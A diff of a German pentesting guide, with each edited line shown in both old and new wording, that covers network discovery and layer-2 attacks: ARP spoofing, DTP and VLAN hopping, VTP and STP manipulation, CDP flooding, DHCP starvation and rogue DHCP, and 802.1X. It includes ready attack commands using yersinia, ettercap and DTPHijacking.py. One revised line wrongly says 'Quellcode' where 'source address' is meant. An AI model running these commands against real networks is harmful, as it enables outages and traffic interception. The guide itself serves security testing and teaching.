3. Alle **Domains** gefunden, die zu den Unternehmen gehören
4. Alle **Subdomains** der Domains gefunden (gibt es eine Subdomain-Übernahme?)
5. Alle **IPs** (von und **nicht von CDNs**) im Geltungsbereich gefunden.
6. Alle **Webserver** gefunden und einen **Screenshot** davon gemacht (gibt es etwas Seltsames, das einen genaueren Blick wert ist?)
7. Alle **potenziellen öffentlichen Cloud-Ressourcen** gefunden, die zu dem Unternehmen gehören.
8. **E-Mails**, **Credential Leaks** und **Secret Leaks**, die Ihnen einen **großen Gewinn sehr einfach** verschaffen könnten.
8. **E-Mails**, **Credential Leaks** und **Secret Leaks**, die Ihnen einen **großen Gewinn sehr einfach** bringen könnten.
9. **Pentesting aller Webseiten, die Sie gefunden haben**
## **Vollständige Recon Automatische Tools**

View File

@ -37,7 +37,7 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### UDP-Port-Entdeckung
Sie könnten auch versuchen, einige **UDP-Ports zu überprüfen**, um zu entscheiden, ob Sie **mehr Aufmerksamkeit** auf einen **Host** richten sollten. Da UDP-Dienste normalerweise **nicht mit** **irgendwelchen Daten** auf ein reguläres leeres UDP-Probe-Paket antworten, ist es schwierig zu sagen, ob ein Port gefiltert oder offen ist. Der einfachste Weg, dies zu entscheiden, besteht darin, ein Paket zu senden, das mit dem laufenden Dienst verbunden ist, und da Sie nicht wissen, welcher Dienst läuft, sollten Sie den wahrscheinlichsten basierend auf der Portnummer versuchen:
Sie könnten auch versuchen, nach einigen **offenen UDP-Ports** zu suchen, um zu entscheiden, ob Sie **mehr Aufmerksamkeit** auf einen **Host** richten sollten. Da UDP-Dienste normalerweise **nicht mit** **irgendwelchen Daten** auf ein reguläres leeres UDP-Probe-Paket antworten, ist es schwierig zu sagen, ob ein Port gefiltert oder offen ist. Der einfachste Weg, dies zu entscheiden, besteht darin, ein Paket zu senden, das mit dem laufenden Dienst verbunden ist, und da Sie nicht wissen, welcher Dienst läuft, sollten Sie den wahrscheinlichsten basierend auf der Portnummer versuchen:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
@ -54,6 +54,7 @@ nmap -T4 -sY -n --open -Pn <IP/range>
Hier finden Sie einen schönen Leitfaden zu allen bekannten Wifi-Angriffen zum Zeitpunkt des Schreibens:
{{#ref}}
../pentesting-wifi/
{{#endref}}
@ -75,7 +76,7 @@ set net.show.meta true #more info
```
### Aktiv
Beachten Sie, dass die in [_**Entdecken von Hosts von außen**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) kommentierten Techniken auch hier **angewendet werden können**.\
Beachten Sie, dass die in [_**Entdecken von Hosts von außen**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) kommentierten Techniken auch **hier angewendet** werden können.\
Aber da Sie im **gleichen Netzwerk** wie die anderen Hosts sind, können Sie **mehr Dinge** tun:
```bash
#ARP discovery
@ -98,11 +99,11 @@ alive6 <IFACE> # Send a pingv6 to multicast.
```
### Active ICMP
Beachten Sie, dass die in _Hosts von außen entdecken_ kommentierten Techniken ([_**ICMP**_](#icmp)) auch **hier angewendet werden können**.\
Beachten Sie, dass die in _Hosts von außen entdecken_ kommentierten Techniken ([_**ICMP**_](#icmp)) auch hier **angewendet werden können**.\
Aber da Sie im **gleichen Netzwerk** wie die anderen Hosts sind, können Sie **mehr Dinge** tun:
- Wenn Sie eine **Subnetz-Broadcast-Adresse** **pingen**, sollte das Ping zu **jedem Host** gelangen und sie könnten **antworten**: `ping -b 10.10.5.255`
- Durch das Pingen der **Netzwerk-Broadcast-Adresse** könnten Sie sogar Hosts in **anderen Subnetzen** finden: `ping -b 255.255.255.255`
- Wenn Sie eine **Subnetz-Broadcast-Adresse** **pingen**, sollte das Ping zu **jedem Host** ankommen und sie könnten **antworten**: `ping -b 10.10.5.255`
- Durch das Pingen der **Netzwerk-Broadcast-Adresse** könnten Sie sogar Hosts innerhalb **anderer Subnetze** finden: `ping -b 255.255.255.255`
- Verwenden Sie die `-PE`, `-PP`, `-PM` Flags von `nmap`, um die Hostentdeckung durch das Senden von **ICMPv4 Echo**, **Zeitstempel** und **Subnetzmaskenanforderungen** durchzuführen: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
### **Wake On Lan**
@ -141,7 +142,7 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
Es gibt 2 Optionen, um einen UDP-Port zu scannen:
- Sende ein **UDP-Paket** und überprüfe die Antwort _**ICMP unreachable**_, wenn der Port **geschlossen** ist (in mehreren Fällen wird ICMP **gefiltert**, sodass du keine Informationen erhältst, ob der Port geschlossen oder offen ist).
- Sende **formatierte Datagramme**, um eine Antwort von einem **Dienst** (z.B. DNS, DHCP, TFTP und andere, wie in _nmap-payloads_ aufgeführt) zu erhalten. Wenn du eine **Antwort** erhältst, ist der Port **offen**.
- Sende **formatierte Datagramme**, um eine Antwort von einem **Dienst** (z. B. DNS, DHCP, TFTP und andere, wie in _nmap-payloads_ aufgeführt) zu erhalten. Wenn du eine **Antwort** erhältst, ist der Port **offen**.
**Nmap** wird **beide** Optionen mit "-sV" kombinieren (UDP-Scans sind sehr langsam), aber beachte, dass UDP-Scans langsamer sind als TCP-Scans:
```bash
@ -157,7 +158,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
```
### SCTP Scan
**SCTP (Stream Control Transmission Protocol)** wurde entwickelt, um zusammen mit **TCP (Transmission Control Protocol)** und **UDP (User Datagram Protocol)** verwendet zu werden. Sein Hauptzweck ist es, den Transport von Telefondaten über IP-Netzwerke zu erleichtern, wobei viele der Zuverlässigkeitsmerkmale, die im **Signaling System 7 (SS7)** zu finden sind, nachgebildet werden. **SCTP** ist ein Kernbestandteil der **SIGTRAN**-Protokollfamilie, die darauf abzielt, SS7-Signale über IP-Netzwerke zu transportieren.
**SCTP (Stream Control Transmission Protocol)** wurde entwickelt, um zusammen mit **TCP (Transmission Control Protocol)** und **UDP (User Datagram Protocol)** verwendet zu werden. Sein Hauptzweck ist es, den Transport von Telefondaten über IP-Netzwerke zu erleichtern, wobei viele der Zuverlässigkeitsmerkmale, die in **Signaling System 7 (SS7)** zu finden sind, nachgebildet werden. **SCTP** ist ein Kernbestandteil der **SIGTRAN**-Protokollfamilie, die darauf abzielt, SS7-Signale über IP-Netzwerke zu transportieren.
Die Unterstützung für **SCTP** wird von verschiedenen Betriebssystemen bereitgestellt, wie **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** und **VxWorks**, was auf seine breite Akzeptanz und Nützlichkeit im Bereich der Telekommunikation und Netzwerktechnologie hinweist.
@ -168,7 +169,8 @@ nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
```
### IDS und IPS Umgehung
### IDS- und IPS-Umgehung
{{#ref}}
ids-evasion.md
@ -176,13 +178,14 @@ ids-evasion.md
### **Weitere nmap-Optionen**
{{#ref}}
nmap-summary-esp.md
{{#endref}}
### Offenlegung interner IP-Adressen
**Fehlkonfigurierte Router, Firewalls und Netzwerkgeräte** reagieren manchmal auf Netzwerkabfragen mit **nicht öffentlichen Quelladressen**. **tcpdump** kann verwendet werden, um Pakete zu identifizieren, die während des Tests von privaten Adressen empfangen werden. Insbesondere können auf Kali Linux Pakete über die **eth2-Schnittstelle** erfasst werden, die vom öffentlichen Internet aus zugänglich ist. Es ist wichtig zu beachten, dass solche Pakete wahrscheinlich herausgefiltert werden, wenn Ihre Einrichtung hinter einem NAT oder einer Firewall steht.
**Fehlkonfigurierte Router, Firewalls und Netzwerkgeräte** reagieren manchmal auf Netzwerkabfragen mit **nicht öffentlichen Quelladressen**. **tcpdump** kann verwendet werden, um Pakete zu identifizieren, die während des Tests von privaten Adressen empfangen werden. Insbesondere auf Kali Linux können Pakete über die **eth2-Schnittstelle** erfasst werden, die vom öffentlichen Internet aus zugänglich ist. Es ist wichtig zu beachten, dass solche Pakete wahrscheinlich herausgefiltert werden, wenn Ihre Einrichtung hinter einem NAT oder einer Firewall steht.
```bash
tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -192,7 +195,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```
## Sniffing
Beim Sniffing können Sie Details zu IP-Bereichen, Subnetzgrößen, MAC-Adressen und Hostnamen durch die Überprüfung erfasster Frames und Pakete lernen. Wenn das Netzwerk falsch konfiguriert ist oder die Switching-Infrastruktur unter Stress steht, können Angreifer sensible Materialien durch passives Netzwerksniffing erfassen.
Beim Sniffing können Sie Details zu IP-Bereichen, Subnetzgrößen, MAC-Adressen und Hostnamen durch die Überprüfung erfasster Frames und Pakete lernen. Wenn das Netzwerk falsch konfiguriert ist oder die Switching-Infrastruktur unter Stress steht, können Angreifer sensible Materialien durch passives Netzwerk-Sniffing erfassen.
Wenn ein switched Ethernet-Netzwerk richtig konfiguriert ist, sehen Sie nur Broadcast-Frames und Materialien, die für Ihre MAC-Adresse bestimmt sind.
@ -228,7 +231,7 @@ Sie können Tools wie [https://github.com/lgandx/PCredz](https://github.com/lgan
### ARP-Spoofing
ARP-Spoofing besteht darin, kostenlose ARP-Antworten zu senden, um anzuzeigen, dass die IP einer Maschine die MAC unseres Geräts hat. Dann wird das Opfer die ARP-Tabelle ändern und unsere Maschine kontaktieren, jedes Mal, wenn es die gefälschte IP kontaktieren möchte.
ARP-Spoofing besteht darin, kostenlose ARP-Antworten zu senden, um anzuzeigen, dass die IP einer Maschine die MAC unseres Geräts hat. Dann wird das Opfer die ARP-Tabelle ändern und unsere Maschine kontaktieren, wann immer es die gefälschte IP kontaktieren möchte.
#### **Bettercap**
```bash
@ -256,13 +259,13 @@ In modernen Switches wurde diese Schwachstelle behoben.
#### Dynamisches Trunking
Das **Dynamic Trunking Protocol (DTP)** ist als Linkschichtprotokoll konzipiert, um ein automatisches System für das Trunking zu ermöglichen, das es Switches erlaubt, automatisch Ports für den Trunk-Modus (Trunk) oder den Nicht-Trunk-Modus auszuwählen. Der Einsatz von **DTP** wird oft als Indikator für suboptimales Netzwerkdesign angesehen, was die Bedeutung der manuellen Konfiguration von Trunks nur dort unterstreicht, wo es notwendig ist, und die ordnungsgemäße Dokumentation sicherzustellen.
Das **Dynamic Trunking Protocol (DTP)** ist als Protokoll der Sicherungsschicht konzipiert, um ein automatisches System für das Trunking zu ermöglichen, das es Switches erlaubt, Ports automatisch für den Trunk-Modus (Trunk) oder den Nicht-Trunk-Modus auszuwählen. Der Einsatz von **DTP** wird oft als Indikator für suboptimales Netzwerkdesign angesehen, was die Bedeutung der manuellen Konfiguration von Trunks nur dort unterstreicht, wo es notwendig ist, und die ordnungsgemäße Dokumentation sicherzustellen.
Standardmäßig sind Switch-Ports so eingestellt, dass sie im Dynamic Auto-Modus arbeiten, was bedeutet, dass sie bereit sind, das Trunking zu initiieren, wenn sie von einem benachbarten Switch dazu aufgefordert werden. Ein Sicherheitsproblem entsteht, wenn ein Pentester oder Angreifer sich mit dem Switch verbindet und ein DTP Desirable-Frame sendet, wodurch der Port in den Trunk-Modus versetzt wird. Diese Aktion ermöglicht es dem Angreifer, VLANs durch die Analyse von STP-Frames aufzulisten und die VLAN-Segmentierung zu umgehen, indem virtuelle Schnittstellen eingerichtet werden.
Die standardmäßige Präsenz von DTP in vielen Switches kann von Gegnern ausgenutzt werden, um das Verhalten eines Switches nachzuahmen und so Zugriff auf den Datenverkehr über alle VLANs zu erhalten. Das Skript [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) wird verwendet, um eine Schnittstelle zu überwachen und zu zeigen, ob ein Switch im Default-, Trunk-, Dynamic-, Auto- oder Access-Modus ist—letzteres ist die einzige Konfiguration, die gegen VLAN-Hopping-Angriffe immun ist. Dieses Tool bewertet den Vulnerabilitätsstatus des Switches.
Die standardmäßige Präsenz von DTP in vielen Switches kann von Gegnern ausgenutzt werden, um das Verhalten eines Switches nachzuahmen und so Zugriff auf den Datenverkehr über alle VLANs zu erhalten. Das Skript [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) wird verwendet, um eine Schnittstelle zu überwachen und zu zeigen, ob ein Switch im Default-, Trunk-, Dynamic-, Auto- oder Access-Modus ist letzterer ist die einzige Konfiguration, die gegen VLAN-Hopping-Angriffe immun ist. Dieses Tool bewertet den Vulnerabilitätsstatus des Switches.
Sollte eine Netzwerkschwachstelle identifiziert werden, kann das _**Yersinia**_-Tool eingesetzt werden, um "Trunking zu aktivieren" über das DTP-Protokoll, was die Beobachtung von Paketen aus allen VLANs ermöglicht.
Sollte eine Netzwerkschwachstelle identifiziert werden, kann das _**Yersinia**_ Tool eingesetzt werden, um "Trunking zu aktivieren" über das DTP-Protokoll, was die Beobachtung von Paketen aus allen VLANs ermöglicht.
```bash
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
@ -275,11 +278,11 @@ yersinia -G #For graphic mode
```
![](<../../images/image (269).png>)
Um die VLANs zu enumerieren, ist es auch möglich, das DTP Desirable-Frame mit dem Skript [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** zu generieren. **Unterbrechen Sie das Skript unter keinen Umständen. Es injiziert alle drei Sekunden DTP Desirable. **Die dynamisch erstellten Trunk-Kanäle am Switch leben nur fünf Minuten. Nach fünf Minuten fällt der Trunk ab.**
Um die VLANs aufzulisten, ist es auch möglich, das DTP Desirable-Frame mit dem Skript [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** zu generieren. **Unterbrechen Sie das Skript unter keinen Umständen. Es injiziert DTP Desirable alle drei Sekunden. **Die dynamisch erstellten Trunk-Kanäle am Switch leben nur fünf Minuten. Nach fünf Minuten fällt der Trunk ab.**
```
sudo python3 DTPHijacking.py --interface eth0
```
Ich möchte darauf hinweisen, dass **Access/Desirable (0x03)** anzeigt, dass der DTP-Rahmen vom Desirable-Typ ist, was dem Port sagt, in den Trunk-Modus zu wechseln. Und **802.1Q/802.1Q (0xa5)** zeigt den **802.1Q** Kapselungstyp an.
Ich möchte darauf hinweisen, dass **Access/Desirable (0x03)** anzeigt, dass der DTP-Rahmen vom Typ Desirable ist, was dem Port sagt, in den Trunk-Modus zu wechseln. Und **802.1Q/802.1Q (0xa5)** zeigt den **802.1Q** Kapselungstyp an.
Durch die Analyse der STP-Rahmen **erfahren wir von der Existenz von VLAN 30 und VLAN 60.**
@ -327,9 +330,9 @@ Der besprochene Angriff von **Dynamic Trunking und dem Erstellen virtueller Schn
#### Doppelte Tagging
Wenn ein Angreifer den Wert der **MAC, IP und VLAN-ID des Opferhosts** kennt, könnte er versuchen, ein **Frame doppelt zu taggen** mit dem zugewiesenen VLAN und dem VLAN des Opfers und ein Paket zu senden. Da das **Opfer nicht in der Lage sein wird, mit dem Angreifer zurück zu kommunizieren**, ist die **beste Option für den Angreifer, über UDP zu kommunizieren** mit Protokollen, die einige interessante Aktionen durchführen können (wie SNMP).
Wenn ein Angreifer den Wert der **MAC, IP und VLAN-ID des Opferhosts** kennt, könnte er versuchen, ein **Frame doppelt zu taggen** mit dem vorgesehenen VLAN und dem VLAN des Opfers und ein Paket zu senden. Da das **Opfer nicht in der Lage sein wird, mit dem Angreifer zurück zu kommunizieren**, ist die **beste Option für den Angreifer, über UDP zu kommunizieren** zu Protokollen, die einige interessante Aktionen durchführen können (wie SNMP).
Eine weitere Option für den Angreifer ist es, einen **TCP-Port-Scan durchzuführen, indem er eine IP fälscht, die vom Angreifer kontrolliert wird und für das Opfer zugänglich ist** (wahrscheinlich über das Internet). Dann könnte der Angreifer im zweiten Host, der ihm gehört, sniffen, ob er einige Pakete vom Opfer erhält.
Eine weitere Option für den Angreifer ist, einen **TCP-Port-Scan durchzuführen, indem er eine IP vortäuscht, die vom Angreifer kontrolliert wird und für das Opfer zugänglich ist** (wahrscheinlich über das Internet). Dann könnte der Angreifer im zweiten von ihm besessenen Host sniffen, ob er einige Pakete vom Opfer erhält.
![](<../../images/image (190).png>)
@ -342,7 +345,7 @@ sendp(packet)
```
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
Wenn Sie **Zugriff auf einen Switch haben, mit dem Sie direkt verbunden sind**, haben Sie die Möglichkeit, **VLAN-Segmentierung** im Netzwerk zu **umgehen**. Schalten Sie einfach **den Port in den Trunk-Modus** (auch bekannt als Trunk), erstellen Sie virtuelle Schnittstellen mit den IDs der Ziel-VLANs und konfigurieren Sie eine IP-Adresse. Sie können versuchen, die Adresse dynamisch (DHCP) anzufordern, oder Sie können sie statisch konfigurieren. Es hängt vom Fall ab.
Wenn Sie **Zugriff auf einen Switch haben, mit dem Sie direkt verbunden sind**, haben Sie die Möglichkeit, **VLAN-Segmentierung** im Netzwerk zu **umgehen**. Schalten Sie einfach den Port in den Trunk-Modus (auch bekannt als Trunk), erstellen Sie virtuelle Schnittstellen mit den IDs der Ziel-VLANs und konfigurieren Sie eine IP-Adresse. Sie können versuchen, die Adresse dynamisch (DHCP) anzufordern, oder Sie können sie statisch konfigurieren. Es hängt vom Fall ab.
{{#ref}}
lateral-vlan-segmentation-bypass.md
@ -350,18 +353,18 @@ lateral-vlan-segmentation-bypass.md
#### Layer 3 Private VLAN Bypass
In bestimmten Umgebungen, wie z.B. Gast-WLAN-Netzwerken, werden **Port-Isolations- (auch bekannt als private VLAN)**-Einstellungen implementiert, um zu verhindern, dass Clients, die mit einem drahtlosen Zugangspunkt verbunden sind, direkt miteinander kommunizieren. Es wurde jedoch eine Technik identifiziert, die diese Isolationsmaßnahmen umgehen kann. Diese Technik nutzt entweder das Fehlen von Netzwerk-ACLs oder deren unsachgemäße Konfiguration aus, wodurch IP-Pakete über einen Router weitergeleitet werden können, um einen anderen Client im selben Netzwerk zu erreichen.
In bestimmten Umgebungen, wie z.B. Gast-WLAN-Netzwerken, werden **Port-Isolations- (auch bekannt als Private VLAN)**-Einstellungen implementiert, um zu verhindern, dass Clients, die mit einem drahtlosen Zugangspunkt verbunden sind, direkt miteinander kommunizieren. Es wurde jedoch eine Technik identifiziert, die diese Isolationsmaßnahmen umgehen kann. Diese Technik nutzt entweder das Fehlen von Netzwerk-ACLs oder deren unsachgemäße Konfiguration aus, wodurch IP-Pakete über einen Router zu einem anderen Client im selben Netzwerk geleitet werden können.
Der Angriff wird ausgeführt, indem ein **Paket erstellt wird, das die IP-Adresse des Ziel-Clients, jedoch mit der MAC-Adresse des Routers** trägt. Dies führt dazu, dass der Router das Paket fälschlicherweise an den Ziel-Client weiterleitet. Dieser Ansatz ähnelt dem, der bei Double Tagging Attacks verwendet wird, bei dem die Fähigkeit, einen für das Opfer zugänglichen Host zu kontrollieren, genutzt wird, um die Sicherheitsanfälligkeit auszunutzen.
**Wichtige Schritte des Angriffs:**
1. **Erstellen eines Pakets:** Ein Paket wird speziell erstellt, um die IP-Adresse des Ziel-Clients, jedoch mit der MAC-Adresse des Routers, zu enthalten.
2. **Ausnutzen des Routerverhaltens:** Das erstellte Paket wird an den Router gesendet, der aufgrund der Konfiguration das Paket an den Ziel-Client umleitet und dabei die Isolation, die durch private VLAN-Einstellungen bereitgestellt wird, umgeht.
2. **Ausnutzen des Routerverhaltens:** Das erstellte Paket wird an den Router gesendet, der aufgrund der Konfiguration das Paket an den Ziel-Client umleitet und dabei die Isolation, die durch die Private VLAN-Einstellungen bereitgestellt wird, umgeht.
### VTP Angriffe
VTP (VLAN Trunking Protocol) zentralisiert das VLAN-Management. Es nutzt Versionsnummern, um die Integrität der VLAN-Datenbank aufrechtzuerhalten; jede Änderung erhöht diese Nummer. Switches übernehmen Konfigurationen mit höheren Versionsnummern und aktualisieren ihre eigenen VLAN-Datenbanken.
VTP (VLAN Trunking Protocol) zentralisiert das VLAN-Management. Es verwendet Versionsnummern, um die Integrität der VLAN-Datenbank aufrechtzuerhalten; jede Änderung erhöht diese Nummer. Switches übernehmen Konfigurationen mit höheren Versionsnummern und aktualisieren ihre eigenen VLAN-Datenbanken.
#### VTP-Domänenrollen
@ -372,7 +375,7 @@ VTP (VLAN Trunking Protocol) zentralisiert das VLAN-Management. Es nutzt Version
#### VTP-Ankündigungstypen
- **Zusammenfassungsankündigung:** Wird alle 300 Sekunden vom VTP-Server gesendet und enthält wesentliche Domäneninformationen.
- **Teilansicht-Ankündigung:** Wird nach Änderungen an der VLAN-Konfiguration gesendet.
- **Teilansage:** Wird nach Änderungen an der VLAN-Konfiguration gesendet.
- **Ankündigungsanfrage:** Wird von einem VTP-Client ausgegeben, um eine Zusammenfassungsankündigung anzufordern, typischerweise als Reaktion auf die Erkennung einer höheren Konfigurationsversionsnummer.
VTP-Sicherheitsanfälligkeiten sind ausschließlich über Trunk-Ports ausnutzbar, da VTP-Ankündigungen ausschließlich durch diese zirkulieren. Nach DTP-Angriffszenarien könnte der Fokus auf VTP verschwenken. Tools wie Yersinia können VTP-Angriffe erleichtern, die darauf abzielen, die VLAN-Datenbank zu löschen und das Netzwerk effektiv zu stören.
@ -385,17 +388,17 @@ Im grafischen Modus von Yersinia wählen Sie die Option zum Löschen aller VTP-V
### STP-Angriffe
**Wenn Sie keine BPDU-Frames an Ihren Schnittstellen erfassen können, ist es unwahrscheinlich, dass Sie bei einem STP-Angriff erfolgreich sind.**
**Wenn Sie keine BPDU-Frames an Ihren Schnittstellen erfassen können, ist es unwahrscheinlich, dass Sie in einem STP-Angriff erfolgreich sind.**
#### **STP BPDU DoS**
Durch das Senden einer großen Anzahl von BPDUs TCP (Topology Change Notification) oder Conf (die BPDUs, die gesendet werden, wenn die Topologie erstellt wird), werden die Switches überlastet und hören auf, korrekt zu funktionieren.
Durch das Senden einer großen Anzahl von BPDUs TCP (Topology Change Notification) oder Conf (die BPDUs, die gesendet werden, wenn die Topologie erstellt wird) werden die Switches überlastet und funktionieren nicht mehr korrekt.
```bash
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
```
#### **STP TCP Angriff**
#### **STP TCP-Angriff**
Wenn ein TCP gesendet wird, wird die CAM-Tabelle der Switches in 15 Sekunden gelöscht. Wenn Sie dann kontinuierlich diese Art von Paketen senden, wird die CAM-Tabelle kontinuierlich (oder alle 15 Sekunden) neu gestartet, und wenn sie neu gestartet wird, verhält sich der Switch wie ein Hub.
```bash
@ -410,7 +413,7 @@ Dies geschieht, indem BPDUs CONF-Pakete gesendet werden, die besagen, dass der *
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
```
**Wenn der Angreifer mit 2 Switches verbunden ist, kann er der Wurzel des neuen Baumes werden und der gesamte Verkehr zwischen diesen Switches wird durch ihn geleitet** (ein MITM-Angriff wird durchgeführt).
**Wenn der Angreifer mit 2 Switches verbunden ist, kann er die Wurzel des neuen Baumes sein und der gesamte Verkehr zwischen diesen Switches wird über ihn geleitet** (ein MITM-Angriff wird durchgeführt).
```bash
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
@ -421,7 +424,7 @@ CISCO Discovery Protocol (CDP) ist entscheidend für die Kommunikation zwischen
#### Passive Datensammlung <a href="#id-0e0f" id="id-0e0f"></a>
CDP ist so konfiguriert, dass es Informationen über alle Ports sendet, was ein Sicherheitsrisiko darstellen kann. Ein Angreifer könnte, nachdem er sich mit einem Switch-Port verbunden hat, Netzwerksniffer wie **Wireshark**, **tcpdump** oder **Yersinia** einsetzen. Diese Aktion kann sensible Daten über das Netzwerkgerät offenbaren, einschließlich seines Modells und der Version von Cisco IOS, die es verwendet. Der Angreifer könnte dann gezielt spezifische Schwachstellen in der identifizierten Cisco IOS-Version angreifen.
CDP ist so konfiguriert, dass es Informationen über alle Ports sendet, was ein Sicherheitsrisiko darstellen kann. Ein Angreifer, der sich mit einem Switch-Port verbindet, könnte Netzwerksniffer wie **Wireshark**, **tcpdump** oder **Yersinia** einsetzen. Diese Aktion kann sensible Daten über das Netzwerkgerät offenbaren, einschließlich seines Modells und der Version von Cisco IOS, die es verwendet. Der Angreifer könnte dann gezielt spezifische Schwachstellen in der identifizierten Cisco IOS-Version angreifen.
#### Induzierung von CDP-Tabellenflut <a href="#id-0d6a" id="id-0d6a"></a>
@ -431,7 +434,7 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de
# Alternatively, for a GUI approach:
sudo yersinia -G
```
Während dieses Angriffs sind die CPU des Switches und die CDP-Nachbartabelle stark belastet, was oft als **„Netzwerkparalyse“** bezeichnet wird, aufgrund des übermäßigen Ressourcenverbrauchs.
Während dieses Angriffs sind die CPU des Switches und die CDP-Nachbartabelle stark belastet, was oft als **„Netzwerkparalyse“** aufgrund des übermäßigen Ressourcenverbrauchs bezeichnet wird.
#### CDP-Imitationsangriff
```bash
@ -442,7 +445,7 @@ Sie können auch [**scapy**](https://github.com/secdev/scapy/) verwenden. Stelle
### VoIP-Angriffe und das VoIP Hopper-Tool
VoIP-Telefone, die zunehmend mit IoT-Geräten integriert sind, bieten Funktionen wie das Entsperren von Türen oder das Steuern von Thermostaten über spezielle Telefonnummern. Diese Integration kann jedoch Sicherheitsrisiken mit sich bringen.
VoIP-Telefone, die zunehmend mit IoT-Geräten integriert sind, bieten Funktionen wie das Entsperren von Türen oder die Steuerung von Thermostaten über spezielle Telefonnummern. Diese Integration kann jedoch Sicherheitsrisiken mit sich bringen.
Das Tool [**voiphopper**](http://voiphopper.sourceforge.net) ist dafür ausgelegt, ein VoIP-Telefon in verschiedenen Umgebungen (Cisco, Avaya, Nortel, Alcatel-Lucent) zu emulieren. Es entdeckt die VLAN-ID des Sprachnetzwerks mithilfe von Protokollen wie CDP, DHCP, LLDP-MED und 802.1Q ARP.
@ -492,7 +495,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
**Zwei Arten von DoS** können gegen DHCP-Server durchgeführt werden. Die erste besteht darin, **genug gefälschte Hosts zu simulieren, um alle möglichen IP-Adressen zu nutzen**.\
Dieser Angriff funktioniert nur, wenn Sie die Antworten des DHCP-Servers sehen können und das Protokoll abschließen (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Zum Beispiel ist dies **in Wifi-Netzwerken nicht möglich**.
Eine andere Möglichkeit, einen DHCP DoS durchzuführen, besteht darin, ein **DHCP-RELEASE-Paket zu senden, wobei jede mögliche IP als Quelladresse verwendet wird**. Dann wird der Server denken, dass jeder die IP-Nutzung beendet hat.
Eine andere Möglichkeit, einen DHCP DoS durchzuführen, besteht darin, ein **DHCP-RELEASE-Paket zu senden, wobei jede mögliche IP als Quellcode verwendet wird**. Dann wird der Server denken, dass jeder die IP nicht mehr verwendet.
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
@ -515,7 +518,7 @@ Im Folgenden sind die Befehlsoptionen zur Konfiguration des bösartigen DHCP-Ser
- **Netzmaske des lokalen Netzwerks**: Verwenden Sie `-n 255.255.255.0`, um die Netzmaske für das lokale Netzwerk zu definieren.
- **Schnittstelle für DHCP-Verkehr**: Verwenden Sie `-I eth1`, um auf einer bestimmten Netzwerkschnittstelle auf DHCP-Verkehr zu hören.
- **WPAD-Konfigurationsadresse**: Verwenden Sie `-w “http://10.0.0.100/wpad.dat”`, um die Adresse für die WPAD-Konfiguration festzulegen, die beim Abfangen von Webverkehr hilft.
- **Standard-Gateway-IP fälschen**: Fügen Sie `-S` hinzu, um die IP-Adresse des Standard-Gateways zu fälschen.
- **Standard-Gateway-IP fälschen**: Fügen Sie `-S` hinzu, um die IP-Adresse des Standardgateways zu fälschen.
- **Auf alle DHCP-Anfragen antworten**: Fügen Sie `-R` hinzu, um den Server dazu zu bringen, auf alle DHCP-Anfragen zu antworten, aber seien Sie sich bewusst, dass dies laut ist und erkannt werden kann.
Durch die korrekte Verwendung dieser Optionen kann ein bösartiger DHCP-Server eingerichtet werden, um den Netzwerkverkehr effektiv abzufangen.
@ -527,11 +530,11 @@ Durch die korrekte Verwendung dieser Optionen kann ein bösartiger DHCP-Server e
Hier sind einige der Angriffstaktiken, die gegen 802.1X-Implementierungen verwendet werden können:
- Aktives Brute-Force-Passwort-Grounding über EAP
- Aktives Brute-Force-Passwortgrinding über EAP
- Angreifen des RADIUS-Servers mit fehlerhaften EAP-Inhalten _\*\*_(Exploits)
- EAP-Nachrichtenerfassung und Offline-Passwort-Cracking (EAP-MD5 und PEAP)
- EAP-Nachrichtenerfassung und Offline-Passwortknacken (EAP-MD5 und PEAP)
- Erzwingen der EAP-MD5-Authentifizierung, um die TLS-Zertifikatsvalidierung zu umgehen
- Einspeisen von bösartigem Netzwerkverkehr beim Authentifizieren mit einem Hub oder ähnlichem
- Einspeisen von bösartigem Netzwerkverkehr beim Authentifizieren über einen Hub oder Ähnliches
Wenn der Angreifer zwischen dem Opfer und dem Authentifizierungsserver ist, könnte er versuchen, das Authentifizierungsprotokoll (falls erforderlich) auf EAP-MD5 herabzustufen und den Authentifizierungsversuch zu erfassen. Dann könnte er dies mit Brute-Force angehen:
```
@ -549,7 +552,7 @@ glbp-and-hsrp-attacks.md
### RIP
